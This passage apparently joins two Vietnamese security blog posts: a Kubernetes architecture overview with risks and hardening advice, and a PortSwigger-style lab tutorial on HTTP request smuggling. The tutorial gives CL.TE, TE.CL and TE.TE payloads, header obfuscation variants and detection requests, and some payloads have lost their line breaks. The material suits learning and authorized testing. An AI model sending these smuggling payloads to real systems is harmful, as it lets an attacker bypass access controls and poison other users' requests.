Kubelet là một attack surface rất quan trọng trong Kubernetes vì nó chạy trên từng Node và có khả năng tương tác trực tiếp với container, Pod, log, exec và filesystem liên quan tới workload.

Một số rủi ro phổ biến:

• Kubelet port 10250 bị expose ra mạng không tin cậy.
• Bật anonymous authentication.
• Dùng authorization.mode: AlwaysAllow.
• Attacker có quyền gọi kubelet API để đọc logs, exec vào container hoặc lấy thông tin Pod trên Node.
• Node bị compromise dẫn tới lộ kubelet credential trong /etc/kubernetes/kubelet.conf.
• Pod nguy hiểm dùng hostPath để đọc thư mục nhạy cảm của Node, bao gồm file kubelet hoặc kubeconfig.

Một số hướng hardening:

• Tắt anonymous authentication cho kubelet.
• Dùng authorization mode Webhook.
• Không expose kubelet port 10250 ra Internet hoặc mạng không tin cậy.
• Giới hạn network access tới kubelet chỉ từ control plane hoặc thành phần cần thiết.
• Kiểm soát RBAC liên quan tới nodes/proxy, nodes/log, nodes/exec.
• Chặn Pod dùng hostPath, hostPID, hostNetwork, privileged nếu không cần.
• Dùng audit log và runtime security tool như Falco để phát hiện hành vi bất thường trên Node.

Trong đề tài privilege escalation, kubelet rất đáng chú ý vì nhiều attack path từ Pod có thể dẫn tới Node compromise nếu attacker tạo được privileged Pod hoặc mount được host filesystem.

2. kube-proxy

kube-proxy là thành phần networking chạy trên các Node để hỗ trợ Kubernetes Service.

Trong Kubernetes, Pod có IP riêng nhưng Pod có thể bị xóa và tạo lại liên tục, dẫn tới IP thay đổi. Vì vậy, Kubernetes dùng Service để cung cấp một địa chỉ ổn định cho nhóm Pod phía sau.

kube-proxy giúp triển khai cơ chế chuyển tiếp traffic từ Service tới Pod backend phù hợp.

Ví dụ, ta có một Service frontend-service trỏ tới 3 Pod frontend. Khi client gửi request tới Service, traffic sẽ được chuyển tới một trong các Pod backend. Các rule chuyển tiếp này có thể được kube-proxy cấu hình bằng iptables hoặc IPVS.

Có thể kiểm tra kube-proxy trong cluster:

kubectl get pods -n kube-system | grep kube-proxy

Vì kube-proxy thường chạy trên mọi Node, nó thường được triển khai dưới dạng DaemonSet:

kubectl get daemonset -n kube-system | grep kube-proxy

Xem log kube-proxy:

kubectl logs -l k8s-app=kube-proxy -n kube-system

Một số mode hoạt động phổ biến:

• iptables mode: phổ biến, dùng iptables rule để điều hướng traffic.
• IPVS mode: phù hợp với cluster lớn, cần hiệu năng network cao hơn.

Góc nhìn bảo mật

kube-proxy liên quan tới network traffic trong cluster. Bản thân kube-proxy không phải lúc nào cũng là mục tiêu tấn công trực tiếp, nhưng network model của Kubernetes có ảnh hưởng lớn đến lateral movement.

Mặc định, trong nhiều cluster, các Pod có thể giao tiếp với nhau khá tự do nếu không có NetworkPolicy. Điều này có nghĩa là nếu attacker compromise một Pod, họ có thể scan hoặc truy cập các Service nội bộ khác trong cluster.

Một số rủi ro:

• Không có NetworkPolicy, dẫn tới Pod-to-Pod traffic quá mở.
• Service expose nhầm workload nhạy cảm.
• NodePort hoặc LoadBalancer expose dịch vụ ra ngoài không kiểm soát.
• hostNetwork Pod có thể bypass một số lớp network isolation.
• Lạm dụng Service/Endpoint để điều hướng hoặc chặn traffic trong một số cấu hình sai.

Một số hướng hardening:

• Áp dụng NetworkPolicy theo hướng default deny.
• Chỉ expose Service ra ngoài khi thật sự cần.
• Kiểm soát quyền tạo Service type NodePort và LoadBalancer.
• Theo dõi traffic bất thường giữa các namespace.
• Tách namespace và network zone cho workload có mức độ nhạy cảm khác nhau.

3. Container Runtime

Container Runtime là thành phần thực sự chạy container trên Worker Node.

Kubernetes không tự chạy container trực tiếp. Thay vào đó, kubelet giao tiếp với container runtime thông qua chuẩn CRI - Container Runtime Interface.

Một số container runtime phổ biến:

• containerd
• CRI-O
• Các runtime tương thích CRI khác

Trước đây Docker từng được dùng phổ biến trong Kubernetes, nhưng các phiên bản Kubernetes hiện đại giao tiếp với runtime qua CRI, trong đó containerd là lựa chọn rất phổ biến.

Luồng xử lý cơ bản:

kubelet nhận PodSpec
        ↓
kubelet gọi container runtime qua CRI
        ↓
runtime pull image
        ↓
runtime tạo container
        ↓
runtime quản lý lifecycle của container

Container runtime chịu trách nhiệm các việc như:

• Pull image từ registry.
• Tạo container filesystem.
• Khởi chạy process chính trong container.
• Quản lý container lifecycle.
• Kết nối container với network namespace phù hợp.
• Ghi nhận container log.

Góc nhìn bảo mật

Container Runtime là lớp rất quan trọng trong các kịch bản container escape hoặc node compromise.

Một số rủi ro phổ biến:

• Container chạy với privileged: true.
• Container được mount socket runtime như containerd.sock hoặc docker.sock.
• Container có Linux capability nguy hiểm như SYS_ADMIN.
• Container chạy bằng user root.
• Image chứa vulnerability hoặc tool nguy hiểm.
• Runtime hoặc kernel có lỗ hổng cho phép container escape.

Ví dụ, nếu một Pod được mount Docker socket hoặc container runtime socket, attacker có shell trong Pod có thể tương tác với runtime trên host và tạo container mới với quyền cao hơn. Đây là một dạng misconfiguration rất nguy hiểm.

Một số hướng hardening:

• Không mount runtime socket vào Pod.
• Hạn chế privileged: true.
• Drop Linux capabilities không cần thiết.
• Dùng runAsNonRoot, readOnlyRootFilesystem nếu phù hợp.
• Scan image bằng Trivy hoặc công cụ tương tự.
• Dùng Pod Security Admission/Kyverno để enforce policy.
• Cập nhật runtime và kernel thường xuyên.

Trong đề tài này, Container Runtime liên quan trực tiếp tới nhánh Container Escape và Bad Pods như privileged Pod, hostPath, hostPID hoặc mount runtime socket.

CNI và Pod Networking

Ngoài kube-proxy, một cluster Kubernetes cần có thành phần networking để các Pod có thể giao tiếp với nhau. Phần này thường được triển khai bởi CNI plugin.

CNI là viết tắt của Container Network Interface. Đây là chuẩn giúp Kubernetes cấu hình network cho Pod.

Một số CNI phổ biến:

• Calico
• Cilium
• Flannel
• Weave Net

CNI chịu trách nhiệm cấp IP cho Pod, tạo route hoặc network rule cần thiết để Pod có thể giao tiếp với nhau trong cluster.

Trong Kubernetes, mỗi Pod thường có một IP riêng. Các Pod có thể giao tiếp trực tiếp với nhau qua IP này, kể cả khi chúng nằm trên các Node khác nhau, miễn là network plugin hỗ trợ.

Tuy nhiên, IP của Pod không ổn định. Khi Pod bị xóa và tạo lại, IP có thể thay đổi. Vì vậy, ứng dụng thường không nên giao tiếp với Pod bằng IP trực tiếp mà nên thông qua Service.

Góc nhìn bảo mật

Networking là phần cực kỳ quan trọng trong Kubernetes security vì nó quyết định attacker có thể di chuyển ngang trong cluster dễ hay khó.

Mặc định, nếu không cấu hình NetworkPolicy, nhiều cluster cho phép Pod ở các namespace khác nhau giao tiếp với nhau. Điều này làm tăng rủi ro lateral movement sau khi một Pod bị compromise.

Một số rủi ro:

• Không có NetworkPolicy, traffic giữa các Pod quá mở.
• Pod compromise có thể scan service nội bộ.
• Namespace bị hiểu nhầm là security boundary tuyệt đối.
• hostNetwork Pod có thể truy cập network giống như Node.
• Egress không kiểm soát, Pod có thể gọi ra Internet hoặc metadata service.

Một số hướng hardening:

• Áp dụng NetworkPolicy default deny cho ingress và egress.
• Chỉ mở traffic đúng nhu cầu giữa các app.
• Tách namespace theo trust boundary.
• Hạn chế hostNetwork.
• Theo dõi DNS/network connection bất thường.
• Nếu dùng Cilium, có thể tận dụng thêm Hubble hoặc Tetragon để quan sát runtime/network behavior.

Addons trong Kubernetes

Ngoài các thành phần cốt lõi, Kubernetes còn có các addon để bổ sung chức năng cho cluster. Addon không phải lúc nào cũng bắt buộc, nhưng trong thực tế hầu hết cluster production đều cần một số addon như DNS, monitoring, logging, ingress controller hoặc dashboard.

DNS

DNS là addon rất quan trọng trong Kubernetes. Thành phần thường gặp nhất là CoreDNS.

DNS cho phép Pod và Service giao tiếp với nhau bằng tên thay vì phải nhớ IP.

Ví dụ, một Pod có thể gọi tới Service mysql trong namespace default bằng tên:

mysql.default.svc.cluster.local

Thay vì phải gọi trực tiếp tới IP của Pod hoặc Service.

Góc nhìn bảo mật

DNS giúp service discovery dễ hơn, nhưng cũng có thể bị attacker lạm dụng để reconnaissance trong cluster.

Một số rủi ro:

• Pod compromise có thể query DNS để khám phá service nội bộ.
• DNS log có thể tiết lộ hành vi truy cập bất thường.
• Nếu CoreDNS bị cấu hình sai, có thể ảnh hưởng đến toàn bộ khả năng giao tiếp trong cluster.

Hardening gợi ý:

• Theo dõi DNS query bất thường.
• Hạn chế egress DNS nếu workload không cần.
• Bảo vệ CoreDNS deployment và RBAC của nó.
• Dùng NetworkPolicy để giới hạn Pod nào được gọi tới DNS nếu cần kiểm soát chặt.

Dashboard

Kubernetes Dashboard là giao diện web giúp quan sát và quản lý cluster.

Thông qua Dashboard, người dùng có thể xem Pods, Deployments, Services, logs và trạng thái tổng quan của cluster. Tuy nhiên, trong môi trường production, Dashboard cần được bảo vệ rất cẩn thận.

Góc nhìn bảo mật

Dashboard từng là nguồn rủi ro lớn trong nhiều cluster vì nếu expose sai cách hoặc dùng token quyền cao, attacker có thể quản lý cluster qua giao diện web.

Một số rủi ro:

• Dashboard expose ra Internet.
• Bỏ qua authentication hoặc cấu hình authentication yếu.
• Dùng ServiceAccount có quyền quá cao.
• Token Dashboard bị lộ.

Hardening gợi ý:

• Không expose Dashboard public.
• Bảo vệ bằng authentication mạnh.
• Dùng RBAC least privilege.
• Không dùng token cluster-admin cho Dashboard.
• Theo dõi audit log cho các hành động đến từ Dashboard user/ServiceAccount.

Monitoring và Logging

Monitoring giúp thu thập metrics như CPU, memory, số lượng Pod, trạng thái Node và trạng thái workload.

Logging giúp gom log từ container, Node và component hệ thống về một nơi tập trung để dễ tìm kiếm, phân tích và điều tra sự cố.

Một số công cụ phổ biến:

• Prometheus
• Grafana
• Loki
• Elasticsearch/OpenSearch
• Fluent Bit/Fluentd

Trong đề tài này, monitoring và logging còn liên quan đến detection. Ngoài log ứng dụng, ta cần quan tâm thêm:

• Kubernetes audit log
• Runtime alert từ Falco
• Event bất thường trong cluster
• Log từ API Server, kubelet, admission controller

Góc nhìn bảo mật

Nếu không có logging và monitoring, attack có thể xảy ra mà không để lại dấu hiệu dễ quan sát.

Một số hành vi nên theo dõi:

• Pod lạ được tạo trong namespace nhạy cảm.
• Tạo ClusterRoleBinding mới.
• ServiceAccount gọi API bất thường.
• Đọc Secret hàng loạt.
• Tạo privileged Pod hoặc Pod có hostPath.
• Exec shell trong container.
• Kết nối network bất thường giữa các namespace.

Hardening gợi ý:

• Bật Kubernetes audit log.
• Cài Falco để phát hiện runtime behavior nguy hiểm.
• Lưu log tập trung để phục vụ điều tra.
• Thiết lập alert cho hành vi liên quan đến privilege escalation.
• Định kỳ review RBAC và workload có cấu hình rủi ro.

IV. Tổng kết phần kiến trúc dưới góc nhìn security

Qua các thành phần trên, có thể thấy Kubernetes không chỉ là một nền tảng chạy container mà là một hệ thống phân tán gồm nhiều lớp điều khiển, lưu trữ, thực thi và networking.

Từ góc nhìn bảo mật, mỗi thành phần đều có vai trò riêng trong attack surface:

• API Server là entry point để gọi Kubernetes API.
• etcd lưu toàn bộ trạng thái và dữ liệu nhạy cảm của cluster.
• Scheduler quyết định workload được đặt lên Node nào.
• Controller Manager tự động tạo/sửa/xóa tài nguyên để duy trì desired state.
• kubelet quản lý Pod trực tiếp trên Node và là attack surface quan trọng.
• kube-proxy/CNI quyết định cách traffic di chuyển trong cluster.
• Container Runtime là lớp thực thi container và liên quan trực tiếp tới container escape.
• Addons như Dashboard, DNS, Monitoring nếu cấu hình sai cũng có thể trở thành điểm yếu.

Đây là nền tảng quan trọng để bước sang phần tiếp theo: phân tích các kỹ thuật tấn công và leo thang đặc quyền trong Kubernetes. Đặc biệt, attack chain trọng tâm của leo thang đặc quyền sẽ xoay quanh việc attacker có shell trong Pod, lấy ServiceAccount token, gọi API Server, lạm dụng RBAC hoặc Pod misconfiguration, sau đó leo thang lên quyền cao hơn trong cluster.

Tóm lại

Kubernetes Architecture được thiết kế theo mô hình phân tách rõ ràng giữa phần quản lý và phần thực thi.

Control Plane chịu trách nhiệm quản lý cluster, đưa ra quyết định và duy trì trạng thái mong muốn. Worker Nodes là nơi chạy các ứng dụng container hóa dưới dạng Pods.

Nhờ kiến trúc này, Kubernetes có thể tự động hóa nhiều công việc quan trọng như scheduling, scaling, self-healing, service discovery và rolling update. Đây cũng là lý do Kubernetes trở thành nền tảng phổ biến để triển khai và vận hành ứng dụng container trong môi trường hiện đại.

Hôm nay , chúng ta cùng đến với 1 chủ đề tấn công mà dạo gần đây CVE nổ khá là nhiều gần đây . Trong giai đoạn cuối năm 2025 và đầu năm 2026, lỗ hổng nghiêm trọng này đã được phát hiện trong các nền tảng phổ biến như ASP.NET Core, Golang và Axios… Và lỗ hổng đó gọi là HTTP request smuggling .

I. HTTP Request Smuggling là gì ?

HTTP Request Smuggling là kĩ thuật tấn công khai thác sự bất đồng bộ yêu cầu của cơ sở hạ tầng web như máy chủ proxy , load balancer với máy chủ backend . Diễn giải yêu cầu HTTP theo 1 cách hiểu khác nhau , chính vì sự không đồng nhất giữa các yêu cầu này dẫn tới cho phép attacker có thể vượt qua tường lửa cũng như các biện pháp an ninh và có khả năng chèn các yêu cầu độc hại ẩn giấu bên trong 1 cách bất hợp pháp.

Lỗi tấn công này chủ yếu xảy ra với các HTTP /1 . Tuy nhiên các trang web hỗ trợ HTTP /2 cũng có thể bị khai thác với phương pháp bằng phương pháp HTTP Downgrading (Bạn có thể tham khảo ở link này: TryHackMe - HTTP/2 Request Smuggling)

Vậy chuyện gì xảy ra khi 1 cuộc tấn công HTTP request smuggling diễn ra ?

Các ứng dụng web ngày nay thường sử dụng các chuỗi yêu cầu HTTP giữa người dùng tới backend . Người dùng gửi yêu cầu của mình qua frontend (thường là các máy chủ cân bằng tải như Load Balancer hay Reverse Proxy như Nginx , CloudFlare , HAproxy,… ) sau đó mới gửi tới máy chủ backend . Trong trường hợp này điều quan trọng là FE và BE phải thống nhất ranh giới của các yêu cầu . Nếu không attacker có thể gửi yêu cầu 1 cách không rõ ràng , từ đó dẫn tới BE và FEcó thể xử lí hệ thống theo nghĩa khác nhau.

Chủ yếu lỗ hổng HTTP RS bị phát sinh do xoay quanh 2 yếu tố trong 2 header của gói tin là HTTP đó là : Content - Length và Transfer - Encoding .

Content - Length thì các bạn cũng biết rồi , thì nó là kích thước của body theo đơn vị byte

Còn Transfer-Encoding có thể được sử dụng để chỉ ra rằng phần message body sử dụng chunked encoding. Tức là phần message trong body chứa 1 hoặc nhiều các đoạn khối của dữ liệu. Mỗi chunk .Khi nội dung dữ liệu được chunked , nó sẽ có dạng như sau: ký tự đầu tiên chính là kích thước của đoạn chunked theo dạng hex, tiếp theo là chunked content và end content là số 0.. Ví dụ:

POST /search HTTP/1.1 Host: 
normal-website.com \
Content-Type: application/x-www-form-urlencoded 
Transfer-Encoding: chunked 
b 
q=smuggling 
0

Vì theo đặc tả HTTP /1.1 , 2 kiểu trên đều chỉ định độ dài của nội dung dữ liệu theo phương pháp khác nhau ,nên một thông điệp có thể sử dụng cả 2 phương pháp cùng lúc , dẫn tới sự xung đột . Để tìm hiểu rõ hơn thì chúng ta cùng bước tới phần tiếp theo là

II. Các thực hiện tấn công HTTP request smuggling

Các cuộc tấn công đánh cắp yêu cầu cổ điển liên quan đến việc đặt cả Content-Lengthtiêu đề và Transfer-Encoding  vào một yêu cầu HTTP/1 duy nhất và thao túng chúng sao cho máy chủ giao diện người dùng và máy chủ phụ trợ xử lý yêu cầu khác nhau. Cách thức thực hiện chính xác phụ thuộc vào hành vi của hai máy chủ:

• CL.TE : Lỗ hổng xảy ra khi FE sử dụng header Content-length trong khi đó BE sử dụng Transfer-Encoding
• TE.CL : Thì ngược lại là lỗ hổng xảy ra khi FE sử dụng Transfer-Encoding và BE lại sử dụng Content-Lenght
• TE.TE : Lỗ hổng xảy ra khi cả FE và BE đều sử dụng Transfer - Encoding , nhưng 1 trong 2 máy chủ được tác động để không xử lí nó bằng cách làm xáo trộn tiêu đề bằng 1 cách nào đó

Tấn công CL.TE :

Ở đây, front-end máy chủ sử dụng tiêu đề Content-Length và back-end máy chủ sử dụng tiêu đề Transfer-Encoding . Ta tiến hành tấn công HTTP Yêu cầu buôn lậu như sau:

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 13 
Transfer-Encoding: chunked 

0 

SMUGGLED

Phía FE xử lý Content-Lengthphần tiêu đề và xác định rằng phần thân yêu cầu dài 13 byte, tính đến hết thẻ SMUGGLED. Yêu cầu này được chuyển tiếp đến Backend.

Backend server xử lý Transfer-Encoding, và do đó coi phần thân thông báo là sử dụng mã hóa theo từng khối. Nó xử lý khối đầu tiên, được cho là có độ dài bằng không, và do đó được coi là kết thúc yêu cầu. Các byte tiếp theo, SMUGGLED, không được xử lý, và máy chủ phía máy chủ sẽ coi chúng là sự bắt đầu của yêu cầu tiếp theo trong chuỗi.

Để có cái nhìn thực tế hơn thì chúng ta đến với bài thực hành này

Để giải quyết bài toán thực hành, hãy lén gửi một yêu cầu đến máy chủ phụ trợ, sao cho yêu cầu tiếp theo đượcbackend xử lý có vẻ như sử dụng phương thức đó. GPOST.

Ở đây trong phần cài đặt bên cạnh nút Send , bạn hãy tắt chức năng update content-length của BS, đồng thời bên request attributes trong bảng inspector bạn đổi từ HTTP/2 sang HTTP/1.1

Ở đây bạn có thể thấy được - Giai đoạn 1 (Tại Front-end):
Front-end nhìn vào Content-Length: 6. Nó đếm đủ 6 ký tự ở phần thân (body) gồm: 0, \r, \n, \r, \n, và chữ G. Vì thấy đúng số lượng, nó chuyển tiếp toàn bộ gói tin này sang cho Back-end.

• Giai đoạn 2 (Tại Back-end):
  Back-end lại nhìn vào Transfer-Encoding: chunked. Trong chế độ này, dữ liệu được kết thúc bằng một ký tự 0 kèm theo hai dòng trống (\r\n\r\n).
  Khi Back-end đọc đến dòng 0 và hai dòng trống, nó nghĩ rằng: “A, request này xong rồi!”. Nó xử lý request POST đó và trả về 200 OK.
• Giai đoạn 3 (Sự cố “Smuggling”):
  Vì Front-end đã gửi 6 ký tự, nhưng Back-end chỉ mới xử lý phần đến dòng 0, nên chữ G còn sót lại bị bỏ rơi trong bộ đệm (buffer) của kết nối TCP đó.

1. Tại sao phải gửi 2 lần?

• Lần gửi 1: Để “nhồi” chữ G vào hàng đợi của Back-end.
• Lần gửi 2: Khi bạn gửi tiếp một request POST thông thường, Back-end sẽ lấy chữ G đang nằm chờ sẵn đó ghép vào đầu request mới.
  • Request mới ban đầu là: POST / HTTP/1.1...
  • Sau khi bị ghép chữ G vào đầu, nó trở thành: GPOST / HTTP/1.1...

Do phương thức GPOST không tồn tại trong giao thức HTTP, Back-end sẽ báo lỗi: “Unrecognized method GPOST”. Đây chính là bằng chứng cho thấy bạn đã “buôn lậu” thành công dữ liệu từ request trước sang request sau.

Tấn công TE.CL:

Ở đây, front-end máy chủ sử dụng tiêu đề Transfer-Encoding và back-end máy chủ sử dụng tiêu đề Content-Length . Ta tiến hành tấn công  như sau:

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 3 
Transfer-Encoding: chunked
 
8 
SMUGGLED 
0

FE xử lý Transfer-Encoding và do đó coi phần thân thông báo là sử dụng mã hóa theo từng khối. Nó xử lý khối đầu tiên, được cho là dài 8 byte, cho đến khi bắt đầu dòng tiếp theo SMUGGLED. Nó xử lý khối thứ hai, được cho là có độ dài bằng không, và do đó được coi là kết thúc yêu cầu. Yêu cầu này được chuyển tiếp đến máy chủ phụ trợ.

Máy chủ phía máy chủ xử lý Content-Lengthphần tiêu đề và xác định rằng phần thân yêu cầu dài 3 byte, tính đến đầu dòng tiếp theo sau 8. Các byte tiếp theo, bắt đầu từ SMUGGLED, sẽ không được xử lý và backend sẽ coi chúng là phần bắt đầu của yêu cầu tiếp theo trong chuỗi.

• Front-end nhìn thấy Transfer-Encoding: chunked:
  • Nó thấy 5c (hệ thập phân là 92). Nó sẽ đợi đọc tiếp 92 bytes dữ liệu.
  • Nó đọc toàn bộ đoạn GPOST ... x=1 và cuối cùng là số 0 (đánh dấu hết dữ liệu chunked).
  • Kết quả: Front-end thấy gói tin này hợp lệ và gửi toàn bộ xuống Back-end.
• Back-end nhìn thấy Content-Length: 4:
  • Nó chỉ đọc đúng 4 bytes đầu tiên của phần thân (body).
  • 4 bytes đó chính là 5c\r\n (vừa đủ 4 ký tự).
  • Hậu quả: Back-end coi như yêu cầu thứ nhất đã xong. Phần còn lại (từ chữ GPOST trở đi) bị coi là “dữ liệu thừa” và bị kẹt lại trong bộ đệm (buffer) của kết nối.

Khi một người dùng bình thường (nạn nhân) gửi một yêu cầu hợp lệ (ví dụ: GET /index.html) đến hệ thống trên cùng một kết nối đó:

Back-end sẽ lấy phần “dữ liệu thừa” đang kẹt ở trên (GPOST ...) dán đè lên phía trước yêu cầu của nạn nhân. Yêu cầu của nạn nhân bỗng nhiên biến thành:

GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1GET /index.html ...

Nạn nhân sẽ nhận được phản hồi cho cái GPOST thay vì trang chủ mà họ muốn.

Kết thúc một “Chunk”: Trong chế độ Transfer-Encoding: chunked, số 0 là tín hiệu báo cho Front-end biết: “Hết dữ liệu rồi nhé!”. Nhưng chỉ số 0 thôi là chưa đủ, giao thức yêu cầu phải có một chuỗi kết thúc chuẩn là 0\r\n\r\n . Bạn phải cập nhật như vậy trong bài lab thì nó mới hoàn thành được

Tấn công TE.TE:

Ở đây, front-end và back-end của máy chủ đều xử lý Transfer-Encoding tiêu đề , nhưng một trong các máy chủ không được xử lý tiêu đề đã được trộn theo bất kỳ cách nào.

Có vô số cách để trộn tiêu đề Transfer-Encoding . Ví dụ:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Trong lỗ hổng TE.TE, cả Front-end (FE) và Back-end (BE) đều hỗ trợ tiêu đề Transfer-Encoding: chunked. Tuy nhiên, kẻ tấn công sẽ “ngụy trang” tiêu đề này bằng cách làm sai lệch nó một chút so với chuẩn HTTP.

Mục tiêu là: Làm sao để một máy chủ vẫn đọc hiểu là “chunked”, còn máy chủ kia thì thấy lạ quá nên bỏ qua.

1. Tại sao kỹ thuật này lại thành công?

• Sự dễ dãi (Tolerance): Có máy chủ rất “khó tính” (chỉ nhận đúng chuẩn), nhưng có máy chủ lại “dễ tính” (thấy có khoảng trắng hay viết hoa thường vẫn chấp nhận). Chính sự khác biệt này tạo ra kẽ hở.

1. Các kỹ thuật “Làm mờ” (Obfuscation) phổ biến

Bạn có thể liệt kê các ví dụ từ ảnh của bạn vào blog dưới dạng bảng hoặc danh sách để người đọc dễ theo dõi:

1. Kịch bản tấn công (Cách nó trở thành CL.TE hoặc TE.CL)

Khi một trong hai máy chủ bị “lừa” và bỏ qua tiêu đề Transfer-Encoding, nó sẽ quay về sử dụng tiêu đề Content-Length để đo độ dài dữ liệu.

• Nếu FE bỏ qua TE nhưng BE nhận TE: Nó trở thành lỗ hổng CL.TE.
• Nếu FE nhận TE nhưng BE bỏ qua TE: Nó trở thành lỗ hổng TE.CL.

III. Cách phát hiện HTTP request sumggling

Nếu sử dụng BurpSuite Pro , ta có thể kiểm tra lỗi HTTP request Smuggler khi sử dụng Active Scan, tải tiện ích mở rộng HTTP request Smuggler 

Trong phần này chúng ta cùng tìm ra các kĩ thuật khác nhau để có thể phát hiện ra lỗ hổng HTTP request smuggling.

Việc phát hiện HTTP Request Smuggling thường xoay quanh một ý tưởng khá đơn giản:

Làm cho front-end và back-end hiểu request theo hai cách khác nhau, sau đó quan sát xem server có phản ứng bất thường hay không.

Có nhiều cách để kiểm tra, nhưng phổ biến nhất vẫn là:

• Timing-based detection (phát hiện dựa trên độ trễ)
• Differential response (xác nhận dựa trên sự khác biệt của response)

1. Phát hiện bằng Timing Techniques

Đây là kỹ thuật phổ biến và an toàn nhất để phát hiện request smuggling. Ý tưởng là gửi một request được thiết kế đặc biệt sao cho:

• Nếu không có lỗ hổng → response trả về bình thường
• Nếu có lỗ hổng → một phía sẽ chờ thêm dữ liệu và gây ra delay bất thường

Cách này cũng chính là cơ chế mà Burp Scanner sử dụng để tự động detect request smuggling.

Detect CL.TE bằng timing

Trong trường hợp CL.TE:

• Front-end ưu tiên Content-Length
• Back-end ưu tiên Transfer-Encoding

Ta có thể gửi request như sau:

POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 41AX

Điều gì xảy ra ở đây?

Front-end server

Do sử dụng Content-Length: 4, nó chỉ forward một phần request và bỏ lại ký tự X.

Back-end server

Back-end đọc request theo Transfer-Encoding: chunked.

Chunk đầu tiên:

1A

có nghĩa là chunk length = 1, body = A.

Nhưng back-end vẫn đang chờ chunk tiếp theo hoàn chỉnh. Vì không nhận được dữ liệu mong đợi nên nó sẽ đợi thêm dữ liệu, dẫn đến response bị delay.

Nếu thấy request bị treo hoặc phản hồi chậm bất thường, đó có thể là dấu hiệu của CL.TE smuggling.

Detect TE.CL bằng timing

Trong trường hợp TE.CL:

• Front-end xử lý theo Transfer-Encoding
• Back-end xử lý theo Content-Length

Payload thường dùng:

POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 60X

Lúc này:

Front-end

Do ưu tiên Transfer-Encoding, nó xem:

0

là kết thúc body và forward request mà bỏ lại X.

Back-end

Lại nhìn vào:

Content-Length: 6

nên nghĩ rằng request body vẫn chưa đủ dữ liệu và tiếp tục chờ.

Kết quả là response cũng sẽ bị delay.

Lưu ý khi dùng timing test

Nên test theo thứ tự:

CL.TE → rồi mới TE.CL

Lý do là payload kiểm tra TE.CL có thể gây ảnh hưởng tới request của người dùng khác nếu target thực tế lại vulnerable với CL.TE.

Nói ngắn gọn:

CL.TE test thường stealthier và ít disruptive hơn.

2. Xác nhận lỗ hổng bằng Differential Responses

Timing delay chỉ cho thấy khả năng tồn tại vulnerability.

Để xác nhận chắc chắn, ta cần chứng minh rằng:

Một request có thể can thiệp vào request khác.

Kỹ thuật này hoạt động bằng cách gửi liên tiếp:

1. Attack request → cố tình poison request queue
2. Normal request → request bình thường dùng để kiểm tra ảnh hưởng

Nếu response của request bình thường bị thay đổi theo đúng kỳ vọng → xác nhận được vulnerability.

Confirm CL.TE vulnerability

Giả sử request bình thường là:

POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling

Thông thường endpoint này sẽ trả về:

HTTP/1.1 200 OK

Ta gửi attack request:

POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 49Transfer-Encoding: chunkedeq=smuggling&x=0GET /404 HTTP/1.1Foo: x

Nếu attack thành công:

Phần:

GET /404 HTTP/1.1Foo: x

sẽ bị back-end coi như mở đầu cho request kế tiếp.

Khi normal request tới, server sẽ parse thành:

GET /404 HTTP/1.1Foo: xPOST /search HTTP/1.1

Request này trở nên malformed và URL không hợp lệ.

Kết quả:

404 Not Found

Nếu request bình thường bỗng nhiên trả về 404 thay vì 200, gần như chắc chắn rằng request smuggling đang xảy ra.

Confirm TE.CL vulnerability

Với TE.CL, attack request sẽ khác:

POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked7cGET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 144x=0

Nếu thành công, phần từ:

GET /404 HTTP/1.1

sẽ bị “đẩy” sang request tiếp theo.

Lúc đó normal request sẽ bị biến dạng và response cũng đổi sang:

404 Not Found

=> xác nhận được vulnerability.

Lưu ý khi test bằng Burp Repeater

Khi gửi payload TE.CL bằng Burp:

• Vào Repeater → bỏ chọn “Update Content-Length”
• Đảm bảo giữ nguyên \r\n\r\n sau chunk cuối 0

Nếu Burp tự sửa Content-Length, payload có thể fail dù target vulnerable.

Một vài lưu ý quan trọng khi confirm request smuggling

1. Dùng hai connection khác nhau

Attack request và normal request không nên gửi chung connection.

Nếu dùng cùng một TCP connection thì kết quả không đủ để chứng minh vulnerability tồn tại thật sự.

2. Dùng cùng endpoint nếu có thể

Nên để:

• cùng URL
• cùng parameter
• cùng route

Ví dụ:

/search?q=test

cho cả attack request và normal request.

Vì nhiều hệ thống hiện đại dùng load balancing hoặc route request khác nhau dựa vào URL.

Nếu hai request đi đến hai back-end khác nhau thì attack sẽ fail.

3. Đây là một cuộc race

Sau khi gửi attack request:

gửi normal request ngay lập tức

Bạn đang cạnh tranh với request từ user khác.

Nếu hệ thống bận, có thể phải thử nhiều lần mới thấy kết quả.

4. Load balancer có thể khiến test fail

Nếu front-end phân phối request theo thuật toán load balancing:

• request A → backend #1
• request B → backend #2

thì attack sẽ không hoạt động.

Đó là lý do request smuggling đôi khi rất “flaky”, thử 10 lần mới dính 1 lần.

5. Cẩn thận khi test trên hệ thống thật

Nếu attack request vô tình ảnh hưởng đến request của người dùng khác thay vì request test của bạn:

nghĩa là bạn vừa làm gián đoạn người dùng thật.

Do request smuggling có khả năng poison request queue, việc test thiếu cẩn thận trên production có thể gây ảnh hưởng tới người khác.

Vì vậy nên ưu tiên:

• môi trường lab
• staging
• bug bounty có safe harbor rõ ràng

thay vì spam payload trên production.

IV. Cách khai thác lỗ hổng HTTP request smuggling

Giờ bạn đã quen thuộc với các khái niệm cơ bản, hãy cùng xem cách sử dụng tấn công HTTP request smuggling để tạo ra nhiều cách tấn công có mức độ nghiêm trọng cao hơn

Using HTTP request smuggling to bypass front-end security controls

Ở đây bài lab này cho ta truy cập được trang home nhưng Front end server đã chặn /admin. Nhiệm vụ của chúng ta là sử dụng lỗ hổng HTTP RM để có thể bypass và truy cập trang admin để có thể xóa tài khoản Carlos

